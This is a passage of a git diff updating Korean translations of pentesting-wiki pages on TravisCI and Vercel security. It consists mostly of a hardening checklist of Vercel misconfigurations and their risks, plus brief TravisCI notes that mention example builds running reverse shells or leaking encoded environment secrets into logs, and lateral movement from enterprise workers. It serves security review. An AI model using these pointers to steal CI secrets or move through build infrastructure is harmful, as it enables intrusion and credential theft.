비밀**을 나열하려면 **`.travis.yml` 파일**을 확인하는 것이 최선입니다. @@ -48,16 +48,16 @@ TravisCI는 기본적으로 제3자에서 오는 PR과 환경 변수를 공유 - Windows/Mac/Linux에서 리버스 셸이 실행되는 예제 빌드 - 로그에 base64로 인코딩된 env를 유출하는 예제 빌드 -### TravisCI Enterprise +### TravisCI 엔터프라이즈 -공격자가 **TravisCI enterprise**를 사용하는 환경에 도달하면(이것에 대한 더 많은 정보는 [**기본 정보**](basic-travisci-information.md#travisci-enterprise)에서 확인할 수 있습니다), 그는 **Worker에서 빌드를 트리거**할 수 있습니다. 이는 공격자가 해당 서버로 수평 이동할 수 있음을 의미하며, 그로부터 다음을 수행할 수 있습니다: +공격자가 **TravisCI 엔터프라이즈**를 사용하는 환경에 도달하면(자세한 내용은 [**기본 정보**](basic-travisci-information.md#travisci-enterprise) 참조), 그는 **Worker에서 빌드를 트리거**할 수 있습니다. 이는 공격자가 해당 서버로 수평 이동할 수 있음을 의미하며, 그로부터 다음을 수행할 수 있습니다: - 호스트로 탈출할 수 있습니까? - 쿠버네티스를 손상시킬 수 있습니까? - 동일한 네트워크에서 실행 중인 다른 머신을 손상시킬 수 있습니까? - 새로운 클라우드 자격 증명을 손상시킬 수 있습니까? -## References +## 참고자료 - [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/) - [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security) diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md index 5aa5b5b88..611988a1a 100644 --- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md +++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md @@ -4,13 +4,13 @@ ## Access -TravisCI는 Github, Bitbucket, Assembla, Gitlab과 같은 다양한 git 플랫폼과 직접 통합됩니다. 사용자는 TravisCI가 통합하고자 하는 리포지토리에 접근할 수 있는 권한을 부여하라는 요청을 받습니다. +TravisCI는 Github, Bitbucket, Assembla 및 Gitlab과 같은 다양한 git 플랫폼과 직접 통합됩니다. 사용자는 TravisCI가 통합하고자 하는 리포지토리에 접근할 수 있는 권한을 부여하라는 요청을 받습니다. 예를 들어, Github에서는 다음과 같은 권한을 요청합니다: - `user:email` (읽기 전용) - `read:org` (읽기 전용) -- `repo`: 공개 및 비공개 리포지토리와 조직에 대한 코드, 커밋 상태, 협력자 및 배포 상태에 대한 읽기 및 쓰기 권한을 부여합니다. +- `repo`: 공개 및 비공식 리포지토리와 조직에 대한 코드, 커밋 상태, 협력자 및 배포 상태에 대한 읽기 및 쓰기 접근을 부여합니다. ## Encrypted Secrets @@ -20,7 +20,7 @@ TravisCI에서는 다른 CI 플랫폼과 마찬가지로 **리포지토리 수 ![](<../../images/image (203).png>) -**비밀이 사용 가능한 브랜치를 지정**할 수 있으며(기본값은 모두) TravisCI가 **로그에 나타날 경우 그 값을 숨겨야 하는지** 여부도 설정할 수 있습니다(기본값은 숨김). +**비밀이 사용 가능한 브랜치**를 지정할 수 있으며(기본값은 모두) TravisCI가 **로그에 나타날 경우 그 값을 숨겨야 하는지** 여부도 설정할 수 있습니다(기본값은 숨김). ### Custom Encrypted Secrets @@ -57,7 +57,7 @@ Make sure to add super_secret.txt.enc to the git repository. Make sure not to add super_secret.txt to the git repository. Commit all changes to your .travis.yml. ``` -Note that when encrypting a file 2 Env Variables will be configured inside the repo such as: +파일을 암호화할 때 2개의 환경 변수가 리포지토리 내에 구성됩니다: ![](<../../images/image (170).png>) diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md index f03e6b2e1..a2306f359 100644 --- a/src/pentesting-ci-cd/vercel-security.md +++ b/src/pentesting-ci-cd/vercel-security.md @@ -2,77 +2,80 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Information +## 기본 정보 Vercel에서 **팀**은 클라이언트에 속한 전체 **환경**이며, **프로젝트**는 **애플리케이션**입니다. -**Vercel**의 보안 강화를 검토하려면 **Viewer 역할 권한**이 있는 사용자에게 요청하거나, 프로젝트를 확인하기 위해 최소한 **프로젝트 뷰어 권한**을 요청해야 합니다(팀 구성도 확인할 필요가 없는 경우). +**Vercel**의 보안 강화를 검토하려면 **Viewer 역할 권한**이 있는 사용자에게 요청하거나, 최소한 **프로젝트 뷰어 권한**을 요청하여 프로젝트를 확인해야 합니다(팀 구성도 확인할 필요가 없는 경우). -## Project Settings +## 프로젝트 설정 -### General +### 일반 **목적:** 프로젝트 이름, 프레임워크 및 빌드 구성과 같은 기본 프로젝트 설정을 관리합니다. -#### Security Configurations: +#### 보안 구성: -- **Transfer** -- **Misconfiguration:** 프로젝트를 다른 팀으로 전송할 수 있습니다. -- **Risk:** 공격자가 프로젝트를 훔칠 수 있습니다. -- **Delete Project** -- **Misconfiguration:** 프로젝트를 삭제할 수 있습니다. -- **Risk:** 프로젝트가 삭제됩니다. +- **전송** +- **잘못된 구성:** 프로젝트를 다른 팀으로 전송할 수 있습니다. +- **위험:** 공격자가 프로젝트를 훔칠 수 있습니다. +- **프로젝트 삭제** +- **잘못된 구성:** 프로젝트를 삭제할 수 있습니다. +- **위험:** 프로젝트가 삭제됩니다. --- -### Domains +### 도메인 **목적:** 사용자 정의 도메인, DNS 설정 및 SSL 구성을 관리합니다. -#### Security Configurations: +#### 보안 구성: -- **DNS Configuration Errors** -- **Misconfiguration:** 악성 서버를 가리키는 잘못된 DNS 레코드(A, CNAME). -- **Risk:** 도메인 탈취, 트래픽 가로채기 및 피싱 공격. -- **SSL/TLS Certificate Management** -- **Misconfiguration:** 약하거나 만료된 SSL/TLS 인증서를 사용합니다. -- **Risk:** 중간자(MITM) 공격에 취약해져 데이터 무결성과 기밀성이 손상됩니다. -- **DNSSEC Implementation** -- **Misconfiguration:** DNSSEC를 활성화하지 않거나 잘못된 DNSSEC 설정. -- **Risk:** DNS 스푸핑 및 캐시 오염 공격에 대한 취약성이 증가합니다. -- **Environment used per domain** -- **Misconfiguration:** 프로덕션에서 도메인에 사용되는 환경을 변경합니다. -- **Risk:** 프로덕션에서 사용해서는 안 되는 잠재적인 비밀이나 기능이 노출됩니다. +- **DNS 구성 오류** +- **잘못된 구성:** 악성 서버를 가리키는 잘못된 DNS 레코드(A, CNAME). +- **위험:** 도메인 탈취, 트래픽 가로채기 및 피싱 공격. +- **SSL/TLS 인증서 관리** +- **잘못된 구성:** 약하거나 만료된 SSL/TLS 인증서를 사용합니다. +- **위험:** 중간자(MITM) 공격에 취약해져 데이터 무결성과 기밀성이 손상될 수 있습니다. +- **DNSSEC 구현** +- **잘못된 구성:** DNSSEC를 활성화하지 않거나 잘못된 DNSSEC 설정. +- **위험:** DNS 스푸핑 및 캐시 오염 공격에 대한 취약성이 증가합니다. +- **도메인별 사용 환경** +- **잘못된 구성:** 프로덕션에서 도메인에 사용되는 환경을 변경합니다. +- **위험:** 프로덕션에서 사용해서는 안 되는 잠재적인 비밀이나 기능이 노출될 수 있습니다. --- -### Environments +### 환경 **목적:** 특정 설정 및 변수를 가진 다양한 환경(개발, 미리보기, 프로덕션)을 정의합니다. -#### Security Configurations: +#### 보안 구성: -- **Environment Isolation** -- **Misconfiguration:** 환경 간에 환경 변수를 공유합니다. -- **Risk:** 프로덕션 비밀이 개발 또는 미리보기 환경으로 유출되어 노출이 증가합니다. -- **Access to Sensitive Environments** -- **Misconfiguration:** 프로덕션 환경에 대한 광범위한 접근을 허용합니다. -- **Risk:** 무단 변경 또는 라이브 애플리케이션에 대한 접근으로 인해 잠재적인 다운타임이나 데이터 유출이 발생할 수 있습니다. +- **환경 격리** +- **잘못된 구성:** 환경 간에 환경 변수를 공유합니다. +- **위험:** 프로덕션 비밀이 개발 또는 미리보기 환경으로 유출되어 노출이 증가합니다. +- **민감한 환경에 대한 접근** +- **잘못된 구성:** 프로덕션 환경에 대한 광범위한 접근을 허용합니다. +- **위험:** 무단 변경 또는 라이브 애플리케이션에 대한 접근이 가능해져 잠재적인 다운타임이나 데이터 유출로 이어질 수 있습니다. --- -### Environment Variables +### 환경 변수 **목적:** 애플리케이션에서 사용하는 환경별 변수 및 비밀을 관리합니다. -#### Security Configurations: +#### 보안 구성: -- **Exposing Sensitive Variables** -- **Misconfiguration:** 민감한 변수를 `NEXT_PUBLIC_`로 접두어를 붙여 클라이언트 측에서 접근할 수 있게 합니다. -- **Risk:** API 키, 데이터베이스 자격 증명 또는 기타 민감한 데이터가 공개되어 데이터 유출이 발생할 수 있습니다. -- **Sensitive disabled** -- **Misconfiguration:** 비활성화된 경우(기본값) 생성된 비밀의 값을 읽을 수 있습니다. -- **Risk:** 민감한 정보의 우발적 노출 또는 무단 접근 가능성이 증가합니다. +- **민감한 변수 노출** +- **잘못된 구성:** 민감한 변수를 `NEXT_PUBLIC_`로 접두어를 붙여 클라이언트 측에서 접근 가능하게 만듭니다. +- **위험:** API 키, 데이터베이스 자격 증명 또는 기타 민감한 데이터가 공개되어 데이터 유출로 이어질 수 있습니다. +- **민감한 비활성화** +- **잘못된 구성:** 비활성화된 경우(기본값) 생성된 비밀의 값을 읽을 수 있습니다. +- **위험:** 민감한 정보의 우발적 노출 또는 무단 접근 가능성이 증가합니다. +- **공유 환경 변수** +- **잘못된 구성:** 팀 수준에서 설정된 환경 변수로, 민감한 정보를 포함할 수 있습니다. +- **위험:** 민감한 정보의 우발적 노출 또는 무단 접근 가능성이 증가합니다. --- @@ -80,355 +83,355 @@ Vercel에서 **팀**은 클라이언트에 속한 전체 **환경**이며, **프 **목적:** Git 리포지토리 통합, 브랜치 보호 및 배포 트리거를 구성합니다. -#### Security Configurations: +#### 보안 구성: -- **Ignored Build Step (TODO)** -- **Misconfiguration:** 이 옵션은 새로운 커밋이 GitHub에 푸시될 때 실행될 bash 스크립트/명령을 구성할 수 있는 것처럼 보이며, 이는 RCE를 허용할 수 있습니다. -- **Risk:** TBD +- **무시된 빌드 단계 (TODO)** +- **잘못된 구성:** 이 옵션은 새로운 커밋이 GitHub에 푸시될 때 실행될 bash 스크립트/명령을 구성할 수 있는 것처럼 보이며, 이는 RCE를 허용할 수 있습니다. +- **위험:** TBD --- -### Integrations +### 통합 **목적:** 프로젝트 기능을 향상시키기 위해 타사 서비스 및 도구를 연결합니다. -#### Security Configurations: +#### 보안 구성: -- **Insecure Third-Party Integrations** -- **Misconfiguration:** 신뢰할 수 없거나 안전하지 않은 타사 서비스와 통합합니다. -- **Risk:** 취약점, 데이터 유출 또는 손상된 통합을 통한 백도어의 도입. -- **Over-Permissioned Integrations** -- **Misconfiguration:** 통합된 서비스에 과도한 권한을 부여합니다. -- **Risk:** 프로젝트 리소스에 대한 무단 접근, 데이터 조작 또는 서비스 중단. -- **Lack of Integration Monitoring** -- **Misconfiguration:** 타사 통합을 모니터링하고 감사하지 않습니다. -- **Risk:** 손상된 통합의 지연된 탐지로 인해 보안 위반의 잠재적 영향이 증가합니다. +- **불안전한 타사 통합** +- **잘못된 구성:** 신뢰할 수 없거나 불안전한 타사 서비스와 통합합니다. +- **위험:** 취약점, 데이터 유출 또는 손상된 통합을 통한 백도어 도입. +- **과도한 권한 부여 통합** +- **잘못된 구성:** 통합 서비스에 과도한 권한을 부여합니다. +- **위험:** 프로젝트 리소스에 대한 무단 접근, 데이터 조작 또는 서비스 중단. +- **통합 모니터링 부족** +- **잘못된 구성:** 타사 통합을 모니터링 및 감사하지 않습니다. +- **위험:** 손상된 통합의 지연된 탐지로 인해 보안 위반의 잠재적 영향이 증가합니다. --- -### Deployment Protection +### 배포 보호 **목적:** 다양한 보호 메커니즘을 통해 배포를 안전하게 하고, 누가 환경에 접근하고 배포할 수 있는지를 제어합니다. -#### Security Configurations: +#### 보안 구성: -**Vercel Authentication** +**Vercel 인증** -- **Misconfiguration:** 인증을 비활성화하거나 팀원 확인을 시행하지 않습니다. -- **Risk:** 무단 사용자가 배포에 접근할 수 있어 데이터 유출 또는 애플리케이션 오용이 발생할 수 있습니다. +- **잘못된 구성:** 인증을 비활성화하거나 팀원 확인을 시행하지 않습니다. +- **위험:** 무단 사용자가 배포에 접근할 수 있어 데이터 유출 또는 애플리케이션 오용으로 이어질 수 있습니다. -**Protection Bypass for Automation** +**자동화를 위한 보호 우회** -- **Misconfiguration:** 우회 비밀을 공개적으로 노출하거나 약한 비밀을 사용합니다. -- **Risk:** 공격자가 배포 보호를 우회하여 보호된 배포에 접근하고 조작할 수 있습니다. +- **잘못된 구성:** 우회 비밀을 공개적으로 노출하거나 약한 비밀을 사용합니다. +- **위험:** 공격자가 배포 보호를 우회하여 보호된 배포에 접근하고 조작할 수 있습니다. -**Shareable Links** +**공유 가능한 링크** -- **Misconfiguration:** 링크를 무차별적으로 공유하거나 오래된 링크를 철회하지 않습니다. -- **Risk:** 보호된 배포에 대한 무단 접근, 인증 및 IP 제한을 우회합니다. +- **잘못된 구성:** 링크를 무차별적으로 공유하거나 오래된 링크를 철회하지 않습니다. +- **위험:** 보호된 배포에 대한 무단 접근, 인증 및 IP 제한 우회. -**OPTIONS Allowlist** +**OPTIONS 허용 목록** -- **Misconfiguration:** 지나치게 광범위한 경로 또는 민감한 엔드포인트를 허용합니다. -- **Risk:** 공격자가 보호되지 않은 경로를 악용하여 무단 작업을 수행하거나 보안 검사를 우회할 수 있습니다. +- **잘못된 구성:** 지나치게 광범위한 경로 또는 민감한 엔드포인트를 허용 목록에 추가합니다. +- **위험:** 공격자가 보호되지 않은 경로를 악용하여 무단 작업을 수행하거나 보안 검사를 우회할 수 있습니다. -**Password Protection** +**비밀번호 보호** -- **Misconfiguration:** 약한 비밀번호를 사용하거나 안전하지 않게 공유합니다. -- **Risk:** 비밀번호가 추측되거나 유출될 경우 배포에 대한 무단 접근이 발생할 수 있습니다. -- **Note:** **Pro** 플랜에서 **Advanced Deployment Protection**의 일환으로 추가 $150/월에 제공됩니다. +- **잘못된 구성:** 약한 비밀번호를 사용하거나 안전하지 않게 공유합니다. +- **위험:** 비밀번호가 추측되거나 유출될 경우 배포에 대한 무단 접근이 가능해집니다. +- **참고:** **Pro** 요금제에서 **고급 배포 보호**의 일환으로 추가 $150/월에 제공됩니다. -**Deployment Protection Exceptions** +**배포 보호 예외** -- **Misconfiguration:** 실수로 프로덕션 또는 민감한 도메인을 예외 목록에 추가합니다. -- **Risk:** 중요한 배포가 공개되어 데이터 유출 또는 무단 접근이 발생할 수 있습니다. -- **Note:** **Pro** 플랜에서 **Advanced Deployment Protection**의 일환으로 추가 $150/월에 제공됩니다. +- **잘못된 구성:** 실수로 프로덕션 또는 민감한 도메인을 예외 목록에 추가합니다. +- **위험:** 중요한 배포가 공개되어 데이터 유출 또는 무단 접근으로 이어질 수 있습니다. +- **참고:** **Pro** 요금제에서 **고급 배포 보호**의 일환으로 추가 $150/월에 제공됩니다. -**Trusted IPs** +**신뢰할 수 있는 IP** -- **Misconfiguration:** IP 주소 또는 CIDR 범위를 잘못 지정합니다. -- **Risk:** 정당한 사용자가 차단되거나 무단 IP가 접근할 수 있습니다. -- **Note:** **Enterprise** 플랜에서 제공됩니다. +- **잘못된 구성:** IP 주소 또는 CIDR 범위를 잘못 지정합니다. +- **위험:** 합법적인 사용자가 차단되거나 무단 IP가 접근할 수 있습니다. +- **참고:** **Enterprise** 요금제에서 제공됩니다. --- -### Functions +### 함수 -**목적:** 런타임 설정, 메모리 할당 및 보안 정책을 포함한 서버리스 기능을 구성합니다. +**목적:** 런타임 설정, 메모리 할당 및 보안 정책을 포함한 서버리스 함수를 구성합니다. -#### Security Configurations: +#### 보안 구성: -- **Nothing** +- **없음** --- -### Data Cache +### 데이터 캐시 **목적:** 성능을 최적화하고 데이터 저장을 제어하기 위해 캐싱 전략 및 설정을 관리합니다. -#### Security Configurations: +#### 보안 구성: -- **Purge Cache** -- **Misconfiguration:** 모든 캐시를 삭제할 수 있습니다. -- **Risk:** 무단 사용자가 캐시를 삭제하여 잠재적인 DoS를 초래할 수 있습니다. +- **캐시 삭제** +- **잘못된 구성:** 모든 캐시를 삭제할 수 있습니다. +- **위험:** 무단 사용자가 캐시를 삭제하여 잠재적인 서비스 거부(DoS)를 초래할 수 있습니다. --- -### Cron Jobs +### 크론 작업 **목적:** 지정된 간격으로 자동화된 작업 및 스크립트를 예약합니다. -#### Security Configurations: +#### 보안 구성: -- **Disable Cron Job** -- **Misconfiguration:** 코드 내에서 선언된 크론 작업을 비활성화할 수 있습니다. -- **Risk:** 서비스 중단의 잠재적 위험(크론 작업의 목적에 따라 다름). +- **크론 작업 비활성화** +- **잘못된 구성:** 코드 내에서 선언된 크론 작업을 비활성화할 수 있습니다. +- **위험:** 서비스 중단의 잠재적 가능성(크론 작업의 목적에 따라 다름). --- -### Log Drains +### 로그 드레인 **목적:** 모니터링 및 감사를 위해 애플리케이션 로그를 캡처하고 저장하기 위해 외부 로깅 서비스를 구성합니다. -#### Security Configurations: +#### 보안 구성: -- Nothing (팀 설정에서 관리됨) +- 없음 (팀 설정에서 관리됨) --- -### Security +### 보안 **목적:** 프로젝트 접근, 소스 보호 등 다양한 보안 관련 설정을 위한 중앙 허브입니다. -#### Security Configurations: +#### 보안 구성: -**Build Logs and Source Protection** +**빌드 로그 및 소스 보호** -- **Misconfiguration:** 보호를 비활성화하거나 `/logs` 및 `/src` 경로를 공개적으로 노출합니다. -- **Risk:** 빌드 로그 및 소스 코드에 대한 무단 접근으로 인해 정보 유출 및 잠재적 취약점 악용이 발생할 수 있습니다. +- **잘못된 구성:** 보호를 비활성화하거나 `/logs` 및 `/src` 경로를 공개적으로 노출합니다. +- **위험:** 빌드 로그 및 소스 코드에 대한 무단 접근이 가능해져 정보 유출 및 잠재적 취약점 악용으로 이어질 수 있습니다. -**Git Fork Protection** +**Git 포크 보호** -- **Misconfiguration:** 적절한 검토 없이 무단 풀 요청을 허용합니다. -- **Risk:** 악의적인 코드가 코드베이스에 병합되어 취약점이나 백도어가 도입될 수 있습니다. +- **잘못된 구성:** 적절한 검토 없이 무단 풀 요청을 허용합니다. +- **위험:** 악의적인 코드가 코드베이스에 병합되어 취약점이나 백도어를 도입할 수 있습니다. -**Secure Backend Access with OIDC Federation** +**OIDC 연합을 통한 안전한 백엔드 접근** -- **Misconfiguration:** OIDC 매개변수를 잘못 설정하거나 안전하지 않은 발급자 URL을 사용합니다. -- **Risk:** 결함 있는 인증 흐름을 통해 백엔드 서비스에 대한 무단 접근이 발생할 수 있습니다. +- **잘못된 구성:** OIDC 매개변수를 잘못 설정하거나 안전하지 않은 발급자 URL을 사용합니다. +- **위험:** 결함 있는 인증 흐름을 통해 백엔드 서비스에 대한 무단 접근이 가능해집니다. -**Deployment Retention Policy** +**배포 보존 정책** -- **Misconfiguration:** 보존 기간을 너무 짧게 설정(배포 기록 손실)하거나 너무 길게 설정(불필요한 데이터 보존)합니다. -- **Risk:** 필요할 때 롤백을 수행할 수 없거나 이전 배포로부터 데이터 노출 위험이 증가합니다. +- **잘못된 구성:** 보존 기간을 너무 짧게 설정(배포 기록 손실)하거나 너무 길게 설정(불필요한 데이터 보존). +- **위험:** 필요할 때 롤백을 수행할 수 없거나 이전 배포로부터 데이터 노출 위험이 증가합니다. -**Recently Deleted Deployments** +**최근 삭제된 배포** -- **Misconfiguration:** 삭제된 배포를 모니터링하지 않거나 자동 삭제에만 의존합니다. -- **Risk:** 중요한 배포 기록 손실로 인해 감사 및 롤백이 방해받을 수 있습니다. +- **잘못된 구성:** 삭제된 배포를 모니터링하지 않거나 자동 삭제에만 의존합니다. +- **위험:** 중요한 배포 기록 손실로 인해 감사 및 롤백이 방해받을 수 있습니다. --- -### Advanced +### 고급 -**목적:** 구성 조정 및 보안 강화를 위한 추가 프로젝트 설정에 접근합니다. +**목적:** 구성 조정 및 보안을 강화하기 위한 추가 프로젝트 설정에 접근합니다. -#### Security Configurations: +#### 보안 구성: -**Directory Listing** +**디렉토리 목록** -- **Misconfiguration:** 디렉토리 목록을 활성화하면 사용자가 인덱스 파일 없이 디렉토리 내용을 볼 수 있습니다. -- **Risk:** 민감한 파일, 애플리케이션 구조 및 공격의 잠재적 진입점이 노출됩니다. +- **잘못된 구성:** 디렉토리 목록을 활성화하면 사용자가 인덱스 파일 없이 디렉토리 내용을 볼 수 있습니다. +- **위험:** 민감한 파일, 애플리케이션 구조 및 공격의 잠재적 진입점이 노출됩니다. --- -## Project Firewall +## 프로젝트 방화벽 -### Firewall +### 방화벽 -#### Security Configurations: +#### 보안 구성: -**Enable Attack Challenge Mode** +**공격 도전 모드 활성화** -- **Misconfiguration:** 이를 활성화하면 DoS에 대한 웹 애플리케이션의 방어력이 향상되지만 사용성의 대가가 따릅니다. -- **Risk:** 잠재적인 사용자 경험 문제. +- **잘못된 구성:** 이를 활성화하면 DoS에 대한 웹 애플리케이션의 방어력이 향상되지만 사용성의 대가가 따릅니다. +- **위험:** 잠재적인 사용자 경험 문제. -### Custom Rules & IP Blocking +### 사용자 정의 규칙 및 IP 차단 -- **Misconfiguration:** 트래픽을 차단/해제할 수 있습니다. -- **Risk:** 악성 트래픽을 허용하거나 정상 트래픽을 차단하여 잠재적인 DoS를 초래할 수 있습니다. +- **잘못된 구성:** 트래픽을 차단/차단할 수 있습니다. +- **위험:** 악성 트래픽을 허용하거나 정상 트래픽을 차단하여 잠재적인 DoS를 초래할 수 있습니다. --- -## Project Deployment +## 프로젝트 배포 -### Source +### 소스 -- **Misconfiguration:** 애플리케이션의 전체 소스 코드를 읽을 수 있는 접근을 허용합니다. -- **Risk:** 민감한 정보의 잠재적 노출. +- **잘못된 구성:** 애플리케이션의 전체 소스 코드를 읽을 수 있는 접근을 허용합니다. +- **위험:** 민감한 정보의 잠재적 노출. -### Skew Protection +### 스큐 보호 -- **Misconfiguration:** 이 보호는 클라이언트와 서버 애플리케이션이 항상 동일한 버전을 사용하도록 보장하여 클라이언트가 서버와 다른 버전을 사용하는 비동기화를 방지합니다. -- **Risk:** 이를 비활성화하면 향후 새로운 배포에서 DoS 문제가 발생할 수 있습니다. +- **잘못된 구성:** 이 보호는 클라이언트와 서버 애플리케이션이 항상 동일한 버전을 사용하도록 보장하여 클라이언트가 서버와 다른 버전을 사용하는 비동기화를 방지합니다. +- **위험:** 이를 비활성화하면 향후 새로운 배포에서 DoS 문제가 발생할 수 있습니다. --- -## Team Settings +## 팀 설정 -### General +### 일반 -#### Security Configurations: +#### 보안 구성: -- **Transfer** -- **Misconfiguration:** 모든 프로젝트를 다른 팀으로 전송할 수 있습니다. -- **Risk:** 공격자가 프로젝트를 훔칠 수 있습니다. -- **Delete Project** -- **Misconfiguration:** 모든 프로젝트와 함께 팀을 삭제할 수 있습니다. -- **Risk:** 프로젝트가 삭제됩니다. +- **전송** +- **잘못된 구성:** 모든 프로젝트를 다른 팀으로 전송할 수 있습니다. +- **위험:** 공격자가 프로젝트를 훔칠 수 있습니다. +- **프로젝트 삭제** +- **잘못된 구성:** 모든 프로젝트와 함께 팀을 삭제할 수 있습니다. +- **위험:** 프로젝트가 삭제됩니다. --- -### Billing +### 청구 -#### Security Configurations: +#### 보안 구성: -- **Speed Insights Cost Limit** -- **Misconfiguration:** 공격자가 이 숫자를 증가시킬 수 있습니다. -- **Risk:** 비용 증가. +- **속도 통찰력 비용 한도** +- **잘못된 구성:** 공격자가 이 숫자를 증가시킬 수 있습니다. +- **위험:** 비용 증가. --- -### Members +### 구성원 -#### Security Configurations: +#### 보안 구성: -- **Add members** -- **Misconfiguration:** 공격자가 자신이 제어하는 계정을 초대하여 지속성을 유지할 수 있습니다. -- **Risk:** 공격자의 지속성. -- **Roles** -- **Misconfiguration:** 필요하지 않은 사람에게 너무 많은 권한을 부여하면 Vercel 구성의 위험이 증가합니다. [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)에서 가능한 모든 역할을 확인하십시오. -- **Risk**: Vercel 팀의 노출 증가. +- **구성원 추가** +- **잘못된 구성:** 공격자가 자신이 제어하는 계정을 초대하여 지속성을 유지할 수 있습니다. +- **위험:** 공격자 지속성. +- **역할** +- **잘못된 구성:** 필요하지 않은 사람에게 너무 많은 권한을 부여하면 Vercel 구성의 위험이 증가합니다. [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)에서 가능한 모든 역할을 확인하십시오. +- **위험:** Vercel 팀의 노출 증가. --- -### Access Groups +### 접근 그룹 -Vercel의 **Access Group**은 미리 정의된 역할 할당이 있는 프로젝트 및 팀 구성원의 모음으로, 여러 프로젝트에 걸쳐 중앙 집중식 및 간소화된 접근 관리를 가능하게 합니다. +Vercel의 **접근 그룹**은 미리 정의된 역할 할당이 있는 프로젝트 및 팀 구성원의 모음으로, 여러 프로젝트에 걸쳐 중앙 집중식 및 간소화된 접근 관리를 가능하게 합니다. **잠재적인 잘못된 구성:** -- **Over-Permissioning Members:** 필요 이상으로 많은 권한을 가진 역할을 할당하여 무단 접근이나 행동을 초래합니다. -- **Improper Role Assignments:** 팀 구성원의 책임과 일치하지 않는 역할을 잘못 할당하여 권한 상승을 초래합니다. -- **Lack of Project Segregation:** 민감한 프로젝트를 분리하지 않아 의도보다 더 넓은 접근을 허용합니다. -- **Insufficient Group Management:** Access Groups를 정기적으로 검토하거나 업데이트하지 않아 구식 또는 부적절한 접근 권한이 발생합니다. -- **Inconsistent Role Definitions:** 서로 다른 Access Groups 간에 일관되지 않거나 불분명한 역할 정의를 사용하여 혼란과 보안 격차를 초래합니다. +- **과도한 권한 부여 구성원:** 필요 이상으로 많은 권한이 있는 역할을 할당하여 무단 접근 또는 행동을 초래합니다. +- **부적절한 역할 할당:** 팀 구성원의 책임과 일치하지 않는 역할을 잘못 할당하여 권한 상승을 초래합니다. +- **프로젝트 분리 부족:** 민감한 프로젝트를 분리하지 않아 의도보다 더 넓은 접근을 허용합니다. +- **불충분한 그룹 관리:** 접근 그룹을 정기적으로 검토하거나 업데이트하지 않아 구식 또는 부적절한 접근 권한이 발생합니다. +- **일관되지 않은 역할 정의:** 서로 다른 접근 그룹 간에 일관되지 않거나 불명확한 역할 정의를 사용하여 혼란과 보안 격차를 초래합니다. --- -### Log Drains +### 로그 드레인 -#### Security Configurations: +#### 보안 구성: -- **Log Drains to third parties:** -- **Misconfiguration:** 공격자가 로그를 훔치기 위해 Log Drain을 구성할 수 있습니다. -- **Risk:** 부분적인 지속성. +- **타사 로그 드레인:** +- **잘못된 구성:** 공격자가 로그를 훔치기 위해 로그 드레인을 구성할 수 있습니다. +- **위험:** 부분적인 지속성. --- -### Security & Privacy +### 보안 및 개인 정보 보호 -#### Security Configurations: +#### 보안 구성: -- **Team Email Domain:** 구성 시 이 설정은 지정된 도메인(예: `mydomain.com`)으로 끝나는 이메일 주소를 가진 Vercel 개인 계정을 자동으로 초대하여 팀에 가입하도록 합니다. -- **Misconfiguration:**\ -잘못된 이메일 도메인 또는 잘못 철자된 도메인을 팀 이메일 도메인 설정에 지정합니다. -- 일반 이메일 도메인(예: `gmail.com`, `hotmail.com`)을 회사 특정 도메인 대신 사용합니다. -- **Risks:** -- **Unauthorized Access:** 의도하지 않은 도메인의 이메일 주소를 가진 사용자가 팀에 가입하라는 초대를 받을 수 있습니다. -- **Data Exposure:** 민감한 프로젝트 정보가 무단 개인에게 노출될 수 있습니다. -- **Protected Git Scopes:** 보호된 범위에서 다른 Vercel 팀이 리포지토리를 배포하지 못하도록 팀에 최대 5개의 Git 범위를 추가할 수 있습니다. 여러 팀이 동일한 범위를 지정할 수 있어 두 팀 모두 접근할 수 있습니다. -- **Misconfiguration:** 보호된 목록에 중요한 Git 범위를 추가하지 않습니다. -- **Risks:** -- **Unauthorized Deployments:** 다른 팀이 귀하의 조직 Git 범위에서 무단으로 리포지토리를 배포할 수 있습니다. -- **Intellectual Property Exposure:** 독점 코드가 배포되어 팀 외부에서 접근될 수 있습니다. -- **Environment Variable Policies:** 팀의 환경 변수를 생성하고 편집하는 정책을 시행합니다. 특히 모든 환경 변수가 Vercel의 배포 시스템에 의해 복호화될 수 있는 **민감한 환경 변수**로 생성되도록 강제할 수 있습니다. -- **Misconfiguration:** 민감한 환경 변수의 시행을 비활성화합니다. -- **Risks:** -- **Exposure of Secrets:** 환경 변수가 무단 팀 구성원에 의해 조회되거나 편집될 수 있습니다. -- **Data Breach:** API 키 및 자격 증명과 같은 민감한 정보가 유출될 수 있습니다. -- **Audit Log:** 팀의 활동을 지난 90일 동안 내보낼 수 있습니다. 감사 로그는 팀 구성원이 수행한 작업을 모니터링하고 추적하는 데 도움이 됩니다. -- **Misconfiguration:**\ +- **팀 이메일 도메인:** 구성된 경우, 이 설정은 지정된 도메인(예: `mydomain.com`)으로 끝나는 이메일 주소를 가진 Vercel 개인 계정을 자동으로 초대하여 가입 시 및 대시보드에서 팀에 참여하도록 합니다. +- **잘못된 구성:** +- 잘못된 이메일 도메인 또는 잘못 철자된 도메인을 팀 이메일 도메인 설정에 지정합니다. +- 회사 전용 도메인 대신 일반 이메일 도메인(예: `gmail.com`, `hotmail.com`)을 사용합니다. +- **위험:** +- **무단 접근:** 의도하지 않은 도메인의 이메일 주소를 가진 사용자가 팀에 참여하라는 초대를 받을 수 있습니다. +- **데이터 노출:** 무단 개인에게 민감한 프로젝트 정보가 노출될 수 있습니다. +- **보호된 Git 범위:** 팀에 최대 5개의 Git 범위를 추가하여 다른 Vercel 팀이 보호된 범위에서 리포지토리를 배포하지 못하도록 합니다. 여러 팀이 동일한 범위를 지정할 수 있어 두 팀 모두 접근할 수 있습니다. +- **잘못된 구성:** 보호 목록에 중요한 Git 범위를 추가하지 않습니다. +- **위험:** +- **무단 배포:** 다른 팀이 귀하의 조직 